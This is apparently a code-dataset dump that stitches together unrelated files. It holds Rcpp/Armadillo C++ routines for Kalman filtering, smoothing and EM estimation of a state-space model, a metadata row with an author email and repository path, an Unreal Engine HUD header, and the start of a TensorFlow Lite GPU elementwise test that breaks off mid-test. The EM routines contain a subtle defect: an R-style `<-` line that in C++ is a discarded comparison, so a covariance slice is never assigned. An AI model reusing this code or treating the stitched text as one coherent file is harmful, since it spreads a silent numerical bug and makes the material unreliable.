arma::mat find_phi(arma::mat init, arma::mat Ceps_inv, arma::mat yxi, arma::mat S11, double tau, arma::mat omega,
double tol, double tol1, double tol2, bool verbose){
arma::mat phi_est = init;
int N = init.n_rows;
arma::mat I_N = arma::eye<arma::mat>(N, N);
double current;
for(int i=0; i<1000; ++i){
arma::mat z1 = -1*f_grad(phi_est, Ceps_inv, yxi, S11, tau, omega);
arma::mat z2 = 0.5*phi_est*(trans(phi_est)*z1 - trans(z1)*phi_est)+
(I_N - (phi_est*trans(phi_est)))*z1;
double x = 2;
current = f_new(phi_est, Ceps_inv, yxi, S11, tau, omega);
arma::mat m_res;
for(int ll=0; ll<50;++ll){
m_res = line_search(phi_est, z2, x);
double res = f_new(m_res, Ceps_inv, yxi, S11, tau, omega);
if(res>current){
x = 1/(pow(2,ll));
}else break;
}
arma::mat m_next = line_search(phi_est, z2, x);
if(verbose){
printf("** i = %d \n", i);
printf("** current loss = %f \n", current);
}
arma::vec state = vectorise(arma::abs(phi_est-m_next)/(arma::abs(phi_est)+tol2));
if(arma::all( state < tol1)){break;}
phi_est = m_next;
}
return phi_est;
}
arma::mat find_phi2(arma::mat y_mat, arma::mat init, arma::mat Ceps_inv, arma::mat yxi, arma::mat S11, double tau, arma::mat omega,
double tol, double tol1, double tol2, bool verbose){
arma::mat phi_est = init;
int N = init.n_rows;
arma::mat I_N = arma::eye<arma::mat>(N, N);
//double current, update_loss;
for(int i=0; i<200; ++i){
arma::mat z1 = -1*f_grad2(y_mat, phi_est, Ceps_inv, yxi, S11, tau, omega);
arma::mat z2 = 0.5*phi_est*(trans(phi_est)*z1 - trans(z1)*phi_est)+
(I_N - (phi_est*trans(phi_est)))*z1;
double x = 2;
double current = f_new2(y_mat, phi_est, Ceps_inv, yxi, S11, tau, omega);
arma::mat m_res;
for(int ll=0; ll<50;++ll){
m_res = line_search(phi_est, z2, x);
double res = f_new2(y_mat, m_res, Ceps_inv, yxi, S11, tau, omega);
if(res>current){
x = 1/(pow(2,ll));
}else break;
}
arma::mat m_next = line_search(phi_est, z2, x);
double update_loss = f_new2(y_mat, m_next, Ceps_inv, yxi, S11, tau, omega);
if(verbose){
printf("** i = %d \n", i);
printf("** current loss = %f \n", current);
printf("** update loss = %f \n", update_loss);
}
//arma::vec state = vectorise(arma::abs(phi_est-m_next)/(arma::abs(phi_est)+tol2));
//if(arma::all( state < tol1)){break;}
if(fabs(update_loss - current) < 0.001 ){
//printf("diff = %f \n", fabs(update_loss - current));
break;
};
phi_est = m_next;
}
return phi_est;
}
using namespace arma;
using namespace Rcpp;
using namespace std;
// [[Rcpp::export]]
Rcpp::List Kfilter_rcpp(arma::mat y_mat, arma::mat Phi,
arma::vec mu0,arma::mat Cov0,
arma::mat A, arma::mat Ca, double sigma2_eps){
//declare
int dim_K = A.n_cols;
int N = y_mat.n_cols;
int T = y_mat.n_rows;
arma::cube Cov_pred, Cov_filter, sig_t;
arma::mat xi_pred, xi_filter, Ceps, innov, siginv, K;
arma::mat I_N = arma::eye(N,N);
arma::mat I_K = arma::eye(dim_K,dim_K);
double like=0;
//initialize
xi_pred.zeros(dim_K,T);
xi_filter.zeros(dim_K,T);
innov.zeros(N,T);
Cov_pred.zeros(dim_K,dim_K,T);
Cov_filter.zeros(dim_K,dim_K,T);
sig_t.zeros(N,N,T);
siginv.zeros(N,N);
K.zeros(dim_K,N);
Ceps = sigma2_eps*I_N;
//i=0
xi_pred.col(0) = A * mu0;
Cov_pred.slice(0) = A * Cov0 * trans(A) + Ca;
sig_t.slice(0) = Phi * Cov_pred.slice(0) * trans(Phi) + Ceps;
sig_t.slice(0) = (sig_t.slice(0)+trans(sig_t.slice(0)))/2;
siginv = inv(sig_t.slice(0));
K = Cov_pred.slice(0) * trans(Phi) * siginv;
innov.col(0) = trans(y_mat.row(0)) - Phi * xi_pred.col(0);
xi_filter.col(0) = xi_pred.col(0) + K * innov.col(0);
Cov_filter.slice(0) = Cov_pred.slice(0) - K * Phi * Cov_pred.slice(0);
//sigmat = as.matrix(sig[, , 1], nrow = qdim, ncol = qdim)
like = log(det(sig_t.slice(0))) + trace(trans(innov.col(0)) * siginv * innov.col(0));
//filtering
//printf("...Filtering...\n");
for (int i=1; i<T; i++) {
xi_pred.col(i) = A * xi_filter.col(i-1);
Cov_pred.slice(i) = A * Cov_filter.slice(i-1) * trans(A) + Ca;
sig_t.slice(i) = Phi * Cov_pred.slice(i) * trans(Phi) + Ceps;
siginv = inv(sig_t.slice(i));
K = Cov_pred.slice(i) * trans(Phi) * siginv;
innov.col(i) = trans(y_mat.row(i)) - Phi * xi_pred.col(i);
xi_filter.col(i) = xi_pred.col(i) + K * innov.col(i);
Cov_filter.slice(i) = Cov_pred.slice(i) - K * Phi * Cov_pred.slice(i);
//sigmat = as.matrix(sig[, , i], nrow = qdim, ncol = qdim)
like = like + log(det(sig_t.slice(i))) +
trace(trans(innov.col(i)) * siginv * innov.col(i));
}
return Rcpp::List::create(Named("xi_pred")=xi_pred,
Named("Cov_pred")=Cov_pred,
Named("xi_filter")=xi_filter,
Named("Cov_filter")=Cov_filter,
Named("like")=like,
Named("innov")=innov,
Named("sig")=sig_t,
Named("K_T")=K);
}
using namespace arma;
using namespace Rcpp;
// [[Rcpp::export]]
Rcpp::List Ksmooth_rcpp(arma::mat y_mat, arma::mat Phi,
arma::vec mu0,arma::mat Cov0,
arma::mat A, arma::mat Ca, double sigma2_eps){
//declare
Rcpp::List kf;
int dim_K = A.n_cols;
int N = y_mat.n_cols;
int T = y_mat.n_rows;
arma::mat xi_smooth, J0, Cov_0_smooth;
arma::cube Cov_smooth, J;
arma::vec xi_0_smooth;
//initialized
xi_smooth.zeros(dim_K,T);
Cov_smooth.zeros(dim_K,dim_K,T);
J.zeros(dim_K,dim_K,T);
kf = Kfilter_rcpp(y_mat, Phi, mu0, Cov0,A,Ca,sigma2_eps);
arma::mat xi_pred=kf["xi_pred"];
arma::cube Cov_pred=kf["Cov_pred"];
arma::mat xi_filter=kf["xi_filter"];
arma::cube Cov_filter=kf["Cov_filter"];
arma::mat K_T = kf["K_T"];
xi_smooth.col(T-1) = xi_filter.col(T-1);
Cov_smooth.slice(T-1) = Cov_filter.slice(T-1);
//printf("...Smoothing...\n");
for (int i=(T-2); i>=0;i--) {
J.slice(i) = Cov_filter.slice(i) * trans(A) * inv(Cov_pred.slice(i+1));
xi_smooth.col(i) = (xi_filter.col(i) + J.slice(i) * (xi_smooth.col(i+1) - xi_pred.col(i+1)));
Cov_smooth.slice(i) = Cov_filter.slice(i) +
J.slice(i) *(Cov_smooth.slice(i+1) - Cov_pred.slice(i+1))*trans(J.slice(i));
}
J0 = Cov0 * trans(A) * inv(Cov_pred.slice(0));
xi_0_smooth = mu0 + J0 * (xi_smooth.col(0)-xi_pred.col(0));
Cov_0_smooth = Cov0 + J0*(Cov_smooth.slice(0) - Cov_pred.slice(0))*trans(J0);
return Rcpp::List::create(Named("xi_smooth")=xi_smooth,
Named("Cov_smooth")=Cov_smooth,
Named("xi_0_smooth")=xi_0_smooth,
Named("Cov_0_smooth")=Cov_0_smooth,
Named("J0")=J0,
Named("J")=J,
Named("xi_pred")=xi_pred,
Named("Cov_pred")=Cov_pred,
Named("xi_filter")=xi_filter,
Named("Cov_filter")=Cov_filter,
Named("like")=kf["like"],
Named("innov")=kf["innov"],
Named("sig")=kf["sig"],
Named("K_T")=K_T);
}
using namespace arma;
using namespace Rcpp;
// [[Rcpp::export]]
Rcpp::List EM_fixedPhi_rcpp(arma::mat y_mat, arma::mat y_mat_new, arma::mat Phi,
arma::vec mu0,arma::mat Cov0,
arma::mat A, arma::mat Ca, double sigma2_eps,
int itermax, double tol){
//double tau, double tol_m, double tol1, double tol2
//declare
Rcpp::List ks, y_new_filter;
int dim_K = A.n_cols;
int N = y_mat.n_cols;
int T = y_mat.n_rows;
double test_like,current_diff;
arma::mat Ceps_nondiag, S00, S11, S10, R;
arma::vec u;
arma::mat I_N = arma::eye(N,N);
arma::mat I_K = arma::eye(dim_K,dim_K);
arma::cube Cov_cross;
//arma::vec twonegloglik=zeros<vec>(itermax);
bool endloop = false;
Rcpp::NumericVector twonegloglik(0);
//initialized
Cov_cross.zeros(dim_K,dim_K,T);
for (int iter=0; iter<(itermax); iter++){
// Filtering & Smoothing
ks = Ksmooth_rcpp(y_mat, Phi, mu0, Cov0,A,Ca,sigma2_eps);
arma::mat xi_pred=ks["xi_pred"];
arma::cube Cov_pred=ks["Cov_pred"];
arma::mat xi_filter=ks["xi_filter"];
arma::cube Cov_filter=ks["Cov_filter"];
arma::mat xi_smooth=ks["xi_smooth"];
arma::cube Cov_smooth=ks["Cov_smooth"];
arma::mat K_T = ks["K_T"];
arma::cube J = ks["J"];
arma::mat J0 = ks["J0"];
arma::mat Cov_0_smooth = ks["Cov_0_smooth"];
arma::vec xi_0_smooth = ks["xi_0_smooth"];
double current_like = ks["like"];
//check convergence
twonegloglik.push_back(current_like);
//twonegloglik(iter)=current_like;
printf("iter = %d twonegloglike = %f1 \n", iter, current_like);
if (iter == (itermax-1)) {
printf("Maximum iterations reached\n");
endloop = true;
}
if (iter>0){
current_diff = (twonegloglik(iter-1)-twonegloglik(iter))/twonegloglik(iter-1);
if(current_diff<0){current_diff = -current_diff;};
if(current_diff < tol){
printf("Tolerance reached\n");
endloop = true;
}
}
if (endloop) {
y_new_filter = Kfilter_rcpp(y_mat_new,
Phi,
xi_0_smooth,
Cov_0_smooth,
A,
Ca,
sigma2_eps);
test_like = y_new_filter["like"];
return Rcpp::List::create(Named("Phi")=Phi,
Named("A")=A,
Named("Ca")=Ca,
Named("sigma2_eps")=sigma2_eps,
Named("Ceps_nondiag")=Ceps_nondiag,
Named("smooth_result")=ks,
Named("twonegloglik")=twonegloglik,
Named("test_like")=test_like,
Named("tol")=tol);
}
//printf("...Computing cross-covariances...\n");
Cov_cross.slice(T-1) <- (I_K - K_T*Phi) *A*Cov_filter.slice(T-2);
for (int i=(T-1); i>1; i--) {
Cov_cross.slice(i-1) = Cov_filter.slice(i-1) * trans(J.slice(i-2)) +
J.slice(i-1) * (Cov_cross.slice(i) - A * Cov_filter.slice(i-1)) *
trans(J.slice(i-2));
}
Cov_cross.slice(0) = Cov_filter.slice(0) * trans(J0) +
J.slice(0) * (Cov_cross.slice(1) - A * Cov_filter.slice(0))*
trans(J0);
S11 = sum(Cov_smooth.slices(0,(T-1)), 2);
S11 = S11 + xi_smooth*trans(xi_smooth);
S00 = sum(Cov_smooth.slices(0,(T-2)), 2);
S00 = S00 + xi_smooth.cols(0,(T-2))*trans(xi_smooth.cols(0,(T-2)));
S00 = S00 + Cov_0_smooth+xi_0_smooth*trans(xi_0_smooth);
S10 = sum(Cov_cross.slices(0,(T-1)),2);
S10 = S10 + xi_smooth.col(0)* trans(xi_0_smooth)+
xi_smooth.cols(1,(T-1))*trans(xi_smooth.cols(0,(T-2)));
//S11 = xi_smooth.col(0) * trans(xi_smooth.col(0)) + Cov_smooth.slice(0);
//S10 = xi_smooth.col(0) * trans(xi_0_smooth) + Cov_cross.slice(0);
//S00 = xi_0_smooth * trans(xi_0_smooth) + Cov_0_smooth;
//u = trans(y_mat.row(0)) - Phi * xi_smooth.col(0);
//R = u * trans(u) + Phi * Cov_smooth.slice(0)*trans(Phi);
//for(int i=1; i<T; i++){
// S11 = S11 + xi_smooth.col(i)*trans(xi_smooth.col(i))+Cov_smooth.slice(i);
// S10 = S10 + xi_smooth.col(i)*trans(xi_smooth.col(i-1))+Cov_cross.slice(i);
// S00 = S00 + xi_smooth.col(i-1)*trans(xi_smooth.col(i-1))+Cov_smooth.slice(i-1);
// u = trans(y_mat.row(i)) - Phi * xi_smooth.col(i);
// R = R + u * trans(u) + Phi * Cov_smooth.slice(i)*trans(Phi);
//}
//printf("...M-step...\n");
A = S10 * inv(S00);
Ca = (S11 - A*trans(S10))/T;
Ca = (Ca+trans(Ca))/2;
R = trans(y_mat)*y_mat-trans(y_mat)*trans(xi_smooth)*trans(Phi)-Phi*xi_smooth*y_mat+Phi*S11*trans(Phi);
Ceps_nondiag = R/T;
sigma2_eps = trace(R)/(T*N);
mu0 = xi_0_smooth;
Cov0 = Cov_0_smooth;
}
}
using namespace arma;
using namespace Rcpp;
// [[Rcpp::export]]
Rcpp::List EM_nonfixedPhi_rcpp(arma::mat y_mat, arma::mat y_mat_new, arma::mat Phi,
arma::vec mu0,arma::mat Cov0,
arma::mat A, arma::mat Ca, double sigma2_eps,
int itermax, double tol,
double tau, arma::mat omega, double tol_m, double tol1, double tol2){
//declare
Rcpp::List ks, y_new_filter;
int dim_K = A.n_cols;
int N = y_mat.n_cols;
int T = y_mat.n_rows;
double test_like,current_diff;
arma::mat Ceps_nondiag, S00, S11, S10, R, Qeps, yxi;
arma::vec u;
arma::mat I_N = arma::eye(N,N);
arma::mat I_K = arma::eye(dim_K,dim_K);
arma::cube Cov_cross;
//arma::vec twonegloglik=zeros<vec>(itermax);
bool endloop = false;
Rcpp::NumericVector twonegloglik(0);
//initialized
Cov_cross.zeros(dim_K,dim_K,T);
for (int iter=0; iter<(itermax); iter++){
// Filtering & Smoothing
ks = Ksmooth_rcpp(y_mat, Phi, mu0, Cov0,A,Ca,sigma2_eps);
arma::mat xi_pred=ks["xi_pred"];
arma::cube Cov_pred=ks["Cov_pred"];
arma::mat xi_filter=ks["xi_filter"];
arma::cube Cov_filter=ks["Cov_filter"];
arma::mat xi_smooth=ks["xi_smooth"];
arma::cube Cov_smooth=ks["Cov_smooth"];
arma::mat K_T = ks["K_T"];
arma::cube J = ks["J"];
arma::mat J0 = ks["J0"];
arma::mat Cov_0_smooth = ks["Cov_0_smooth"];
arma::vec xi_0_smooth = ks["xi_0_smooth"];
double current_like = (double)ks["like"];
current_like = current_like + tau*trace(trans(Phi)*omega*Phi) ;
//check convergence
twonegloglik.push_back(current_like);
//twonegloglik(iter)=current_like;
printf("iter = %d twonegloglike = %f1 \n", iter, current_like);
if (iter == (itermax-1)) {
printf("Maximum iterations reached\n");
endloop = true;
}
if (iter>0){
current_diff = (twonegloglik(iter-1)-twonegloglik(iter))/abs(twonegloglik(iter-1));
if(current_diff<0){
current_diff = -current_diff;
endloop = true;
};
if(current_diff < tol){
printf("Tolerance reached\n");
endloop = true;
}
}
if (endloop) {
y_new_filter = Kfilter_rcpp(y_mat_new,
Phi,
xi_0_smooth,
Cov_0_smooth,
A,
Ca,
sigma2_eps);
test_like = y_new_filter["like"];
return Rcpp::List::create(Named("Phi")=Phi,
Named("A")=A,
Named("Ca")=Ca,
Named("sigma2_eps")=sigma2_eps,
Named("Ceps_nondiag")=Ceps_nondiag,
Named("smooth_result")=ks,
Named("twonegloglik")=twonegloglik,
Named("test_like")=test_like,
Named("tol")=tol);
}
//printf("...Computing cross-covariances...\n");
Cov_cross.slice(T-1) <- (I_K - K_T*Phi) *A*Cov_filter.slice(T-2);
for (int i=(T-1); i>1; i--) {
Cov_cross.slice(i-1) = Cov_filter.slice(i-1) * trans(J.slice(i-2)) +
J.slice(i-1) * (Cov_cross.slice(i) - A * Cov_filter.slice(i-1)) *
trans(J.slice(i-2));
}
Cov_cross.slice(0) = Cov_filter.slice(0) * trans(J0) +
J.slice(0) * (Cov_cross.slice(1) - A * Cov_filter.slice(0))*
trans(J0);
S11 = sum(Cov_smooth.slices(0,(T-1)), 2);
S11 = S11 + xi_smooth*trans(xi_smooth);
S00 = sum(Cov_smooth.slices(0,(T-2)), 2);
S00 = S00 + xi_smooth.cols(0,(T-2))*trans(xi_smooth.cols(0,(T-2)));
S00 = S00 + Cov_0_smooth+xi_0_smooth*trans(xi_0_smooth);
S10 = sum(Cov_cross.slices(0,(T-1)),2);
S10 = S10 + xi_smooth.col(0)* trans(xi_0_smooth)+
xi_smooth.cols(1,(T-1))*trans(xi_smooth.cols(0,(T-2)));
//S11 = xi_smooth.col(0) * trans(xi_smooth.col(0)) + Cov_smooth.slice(0);
//S10 = xi_smooth.col(0) * trans(xi_0_smooth) + Cov_cross.slice(0);
//S00 = xi_0_smooth * trans(xi_0_smooth) + Cov_0_smooth;
//u = trans(y_mat.row(0)) - Phi * xi_smooth.col(0);
//R = u * trans(u) + Phi * Cov_smooth.slice(0)*trans(Phi);
//for(int i=1; i<T; i++){
// S11 = S11 + xi_smooth.col(i)*trans(xi_smooth.col(i))+Cov_smooth.slice(i);
// S10 = S10 + xi_smooth.col(i)*trans(xi_smooth.col(i-1))+Cov_cross.slice(i);
// S00 = S00 + xi_smooth.col(i-1)*trans(xi_smooth.col(i-1))+Cov_smooth.slice(i-1);
// u = trans(y_mat.row(i)) - Phi * xi_smooth.col(i);
// R = R + u * trans(u) + Phi * Cov_smooth.slice(i)*trans(Phi);
//}
//printf("...M-step...\n");
A = S10 * inv(S00);
Ca = (S11 - A*trans(S10))/T;
Ca = (Ca+trans(Ca))/2;
R = trans(y_mat)*y_mat-trans(y_mat)*trans(xi_smooth)*trans(Phi)-Phi*xi_smooth*y_mat+Phi*S11*trans(Phi);
Ceps_nondiag = R/T;
sigma2_eps = trace(R)/(T*N);
Qeps = (1/sigma2_eps)*I_N;
mu0 = xi_0_smooth;
Cov0 = Cov_0_smooth;
yxi = trans(y_mat)*trans(xi_smooth);
Phi = find_phi(Phi, Qeps, yxi, S11, tau, omega, tol_m, tol1, tol2, false);
}
}
using namespace arma;
using namespace Rcpp;
// [[Rcpp::export]]
Rcpp::List EM_nonfixedPhi_rcpp2(arma::mat y_mat, arma::mat y_mat_new, arma::mat Phi,
arma::vec mu0,arma::mat Cov0,
arma::mat A, arma::mat Ca, double sigma2_eps,
int itermax, double tol,
double tau, arma::mat omega, double tol_m, double tol1, double tol2){
//declare
Rcpp::List ks, y_new_filter;
int dim_K = A.n_cols;
int N = y_mat.n_cols;
int T = y_mat.n_rows;
double test_like,current_diff;
arma::mat Ceps_nondiag, S00, S11, S10, R, Qeps, yxi;
arma::vec u;
arma::mat I_N = arma::eye(N,N);
arma::mat I_K = arma::eye(dim_K,dim_K);
arma::cube Cov_cross;
//arma::vec twonegloglik=zeros<vec>(itermax);
bool endloop = false;
Rcpp::NumericVector twonegloglik(0);
//initialized
Cov_cross.zeros(dim_K,dim_K,T);
for (int iter=0; iter<(itermax); iter++){
// Filtering & Smoothing
ks = Ksmooth_rcpp(y_mat, Phi, mu0, Cov0,A,Ca,sigma2_eps);
arma::mat xi_pred=ks["xi_pred"];
arma::cube Cov_pred=ks["Cov_pred"];
arma::mat xi_filter=ks["xi_filter"];
arma::cube Cov_filter=ks["Cov_filter"];
arma::mat xi_smooth=ks["xi_smooth"];
arma::cube Cov_smooth=ks["Cov_smooth"];
arma::mat K_T = ks["K_T"];
arma::cube J = ks["J"];
arma::mat J0 = ks["J0"];
arma::mat Cov_0_smooth = ks["Cov_0_smooth"];
arma::vec xi_0_smooth = ks["xi_0_smooth"];
double current_like = (double)ks["like"];
current_like = current_like + tau*trace(trans(Phi)*omega*Phi) ;
//check convergence
twonegloglik.push_back(current_like);
//twonegloglik(iter)=current_like;
printf("iter = %d twonegloglike = %f1 \n", iter, current_like);
if (iter == (itermax-1)) {
printf("Maximum iterations reached\n");
endloop = true;
}
if (iter>0){
current_diff = (twonegloglik(iter-1)-twonegloglik(iter))/abs(twonegloglik(iter-1));
if(current_diff<0){
current_diff = -current_diff;
endloop = true;
};
if(current_diff < tol){
printf("Tolerance reached\n");
endloop = true;
}
}
if (endloop) {
y_new_filter = Kfilter_rcpp(y_mat_new,
Phi,
xi_0_smooth,
Cov_0_smooth,
A,
Ca,
sigma2_eps);
test_like = y_new_filter["like"];
return Rcpp::List::create(Named("Phi")=Phi,
Named("A")=A,
Named("Ca")=Ca,
Named("sigma2_eps")=sigma2_eps,
Named("Ceps_nondiag")=Ceps_nondiag,
Named("smooth_result")=ks,
Named("twonegloglik")=twonegloglik,
Named("test_like")=test_like,
Named("tol")=tol);
}
//printf("...Computing cross-covariances...\n");
Cov_cross.slice(T-1) <- (I_K - K_T*Phi) *A*Cov_filter.slice(T-2);
for (int i=(T-1); i>1; i--) {
Cov_cross.slice(i-1) = Cov_filter.slice(i-1) * trans(J.slice(i-2)) +
J.slice(i-1) * (Cov_cross.slice(i) - A * Cov_filter.slice(i-1)) *
trans(J.slice(i-2));
}
Cov_cross.slice(0) = Cov_filter.slice(0) * trans(J0) +
J.slice(0) * (Cov_cross.slice(1) - A * Cov_filter.slice(0))*
trans(J0);
S11 = sum(Cov_smooth.slices(0,(T-1)), 2);
S11 = S11 + xi_smooth*trans(xi_smooth);
S00 = sum(Cov_smooth.slices(0,(T-2)), 2);
S00 = S00 + xi_smooth.cols(0,(T-2))*trans(xi_smooth.cols(0,(T-2)));
S00 = S00 + Cov_0_smooth+xi_0_smooth*trans(xi_0_smooth);
S10 = sum(Cov_cross.slices(0,(T-1)),2);
S10 = S10 + xi_smooth.col(0)* trans(xi_0_smooth)+
xi_smooth.cols(1,(T-1))*trans(xi_smooth.cols(0,(T-2)));
//S11 = xi_smooth.col(0) * trans(xi_smooth.col(0)) + Cov_smooth.slice(0);
//S10 = xi_smooth.col(0) * trans(xi_0_smooth) + Cov_cross.slice(0);
//S00 = xi_0_smooth * trans(xi_0_smooth) + Cov_0_smooth;
//u = trans(y_mat.row(0)) - Phi * xi_smooth.col(0);
//R = u * trans(u) + Phi * Cov_smooth.slice(0)*trans(Phi);
//for(int i=1; i<T; i++){
// S11 = S11 + xi_smooth.col(i)*trans(xi_smooth.col(i))+Cov_smooth.slice(i);
// S10 = S10 + xi_smooth.col(i)*trans(xi_smooth.col(i-1))+Cov_cross.slice(i);
// S00 = S00 + xi_smooth.col(i-1)*trans(xi_smooth.col(i-1))+Cov_smooth.slice(i-1);
// u = trans(y_mat.row(i)) - Phi * xi_smooth.col(i);
// R = R + u * trans(u) + Phi * Cov_smooth.slice(i)*trans(Phi);
//}
//printf("...M-step...\n");
A = S10 * inv(S00);
Ca = (S11 - A*trans(S10))/T;
Ca = (Ca+trans(Ca))/2;
//R = trans(y_mat)*y_mat-trans(y_mat)*trans(xi_smooth)*trans(Phi)-Phi*xi_smooth*y_mat+Phi*S11*trans(Phi);
//Ceps_nondiag = R/T;
//sigma2_eps = trace(R)/(T*N);
Qeps = (1/sigma2_eps)*I_N;
mu0 = xi_0_smooth;
Cov0 = Cov_0_smooth;
yxi = trans(y_mat)*trans(xi_smooth);
//Phi = find_phi2(Phi, Qeps, yxi, S11, tau, omega, tol_m, tol1, tol2, true);
// 先解Phi再解sigma^2
Phi = find_phi2(y_mat, Phi, Qeps, yxi, S11, tau, omega, tol_m, tol1, tol2, false);
R = trans(y_mat)*y_mat-trans(y_mat)*trans(xi_smooth)*trans(Phi)-Phi*xi_smooth*y_mat+Phi*S11*trans(Phi);
Ceps_nondiag = R/T;
sigma2_eps = trace(R)/(T*N);
Qeps = (1/sigma2_eps)*I_N;
}
}
| [
"ckshoupon@hotmail.com"
] | ckshoupon@hotmail.com |
2cada00333fd3277600113c0397d672966420d24 | 09c7f2f9ab096f07ad54db2c0b970e2e0a8fe4c5 | /Source/KillOrDie/Public/UI/KODGameHUD.h | 0ab3674e03e9834020331cf81cf1072340cd5adf | [] | no_license | mr-kotov/KillOrDie | 91252ac3e6c770da630540065a4d3dd6eb7b53c5 | 8a1fa1d36c1deb8602b54f50f7b7483deb41ba8e | refs/heads/main | 2023-08-05T05:14:34.083368 | 2021-06-23T16:11:54 | 2021-06-23T16:11:54 | 354,571,394 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 921 | h | // Kill or Die
#pragma once
#include "CoreMinimal.h"
#include "KODBaseWidget.h"
#include "GameFramework/HUD.h"
#include "KODCoreTypes.h"
#include "KODGameHUD.generated.h"
UCLASS()
class KILLORDIE_API AKODGameHUD : public AHUD {
GENERATED_BODY()
public:
virtual void DrawHUD() override;
protected:
UPROPERTY(EditDefaultsOnly, BlueprintReadWrite, Category = "UI")
TSubclassOf<UKODBaseWidget> PlayerHUDWidgetClass;
UPROPERTY(EditDefaultsOnly, BlueprintReadWrite, Category = "UI")
TSubclassOf<UKODBaseWidget> PauseWidgetClass;
UPROPERTY(EditDefaultsOnly, BlueprintReadWrite, Category = "UI")
TSubclassOf<UKODBaseWidget> GameOverWidgetClass;
virtual void BeginPlay() override;
private:
UPROPERTY()
TMap<EKODMatchState, UKODBaseWidget*> GameWidgets;
UPROPERTY()
UKODBaseWidget* CurrentWidget = nullptr;
void DrawCrossHair();
void OnMatchStateChanged(EKODMatchState State);
};
| [
"akotov@rating.kz"
] | akotov@rating.kz |
b682d65f413b70a0d5ed35fe7070203cca40a6ee | ad5f3ed89e0fed30fa3e2eff6a4baa12e8391504 | /tensorflow/lite/delegates/gpu/gl/kernels/elementwise_test.cc | e597cc898e94a865faaf6bb077e1520e0dcecfa8 | [
"Apache-2.0"
] | permissive | DunyaELBASAN/Tensorflow-C- | aa5c66b32f7e5dcfc93092021afee1bf3c97e04b | 7a435c0946bdd900e5c0df95cad64005c8ad22f9 | refs/heads/master | 2022-11-29T23:37:53.695820 | 2020-02-21T18:16:44 | 2020-02-21T18:21:51 | 242,206,767 | 1 | 0 | Apache-2.0 | 2022-11-21T22:39:51 | 2020-02-21T18:38:41 | C++ | UTF-8 | C++ | false | false | 11,524 | cc | /* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/lite/delegates/gpu/gl/kernels/elementwise.h"
#include <gmock/gmock.h>
#include <gtest/gtest.h>
#include "tensorflow/lite/delegates/gpu/common/operations.h"
#include "tensorflow/lite/delegates/gpu/gl/kernels/test_util.h"
using ::testing::FloatNear;
using ::testing::Pointwise;
namespace tflite {
namespace gpu {
namespace gl {
namespace {
TensorRef<BHWC> GetTensorRef(int ref, const BHWC& shape) {
TensorRef<BHWC> tensor_ref;
tensor_ref.type = DataType::FLOAT32;
tensor_ref.ref = ref;
tensor_ref.shape = shape;
return tensor_ref;
}
TEST(ElementwiseTest, Abs) {
OperationType op_type = OperationType::ABS;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, -6.2, 2.0, 4.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.0, 6.2, 2.0, 4.0}));
}
TEST(ElementwiseTest, Cos) {
OperationType op_type = OperationType::COS;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, 3.1415926, -3.1415926, 1}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {1.0, -1.0, -1.0, 0.540302}));
}
TEST(ElementwiseTest, Div) {
OperationType op_type = OperationType::DIV;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model(
{/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape), GetTensorRef(1, shape)},
/*outputs=*/{GetTensorRef(2, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, -6.2, 2.0, 4.0}));
ASSERT_TRUE(model.PopulateTensor(1, {1.0, 2.0, -0.5, 4.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.0, -3.1, -4.0, 1.0}));
}
TEST(ElementwiseTest, HardSwish) {
OperationType op_type = OperationType::HARD_SWISH;
const BHWC shape(1, 1, 1, 7);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(
model.PopulateTensor(0, {-4.5f, -3.0f, -1.5f, 0.0f, 1.5f, 3.0f, 4.5f}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6f),
{0.0f, 0.0f, -0.375f, 0.0f, 1.125f, 3.f, 4.5f}));
}
TEST(ElementwiseTest, Log) {
OperationType op_type = OperationType::LOG;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {1.0, 3.1415926, 1.0, 1.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.0, 1.14473, 0.0, 0.0}));
}
TEST(ElementwiseTest, Maximum) {
OperationType op_type = OperationType::MAXIMUM;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model(
{/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape), GetTensorRef(1, shape)},
/*outputs=*/{GetTensorRef(2, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, -6.2, 2.0, -3.0}));
